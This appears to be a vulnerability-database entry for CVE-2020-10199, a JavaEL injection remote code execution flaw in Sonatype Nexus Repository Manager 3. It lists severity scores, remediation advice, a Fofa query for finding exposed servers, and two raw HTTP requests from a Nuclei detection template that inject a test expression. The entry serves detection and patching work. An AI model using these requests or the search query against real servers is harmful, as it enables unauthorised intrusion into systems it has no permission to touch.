🔙 목록으로 돌아가기

CVE-2020-10199: Sonatype Nexus Repository Manager 3 - Remote Code Execution

TitleSonatype Nexus Repository Manager 3 - Remote Code Execution
Authorrootxharsh,iamnoooob,pdresearch
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3.
CVSS Score8.8
EPSS Score0.94379
CVE IDCVE-2020-10199
CWE IDCWE-917
Fofa Querytitle="nexus repository manager"
Tags cve2020 cve packetstorm sonatype nexus rce kev vkev vuln

🔍 Vulnerability Description

Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection

🌐 HTTP Request

POST /service/rapture/session HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

username=eEp6TmNN&password=cTVtVlN5SXI=
POST /service/rest/beta/repositories/bower/group HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Connection: close
Content-Length: 162
Content-Type: application/json
Cookie: NX-ANTI-CSRF-TOKEN=1
NX-ANTI-CSRF-TOKEN: 1
Accept-Encoding: gzip

{"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10199.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-10199.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A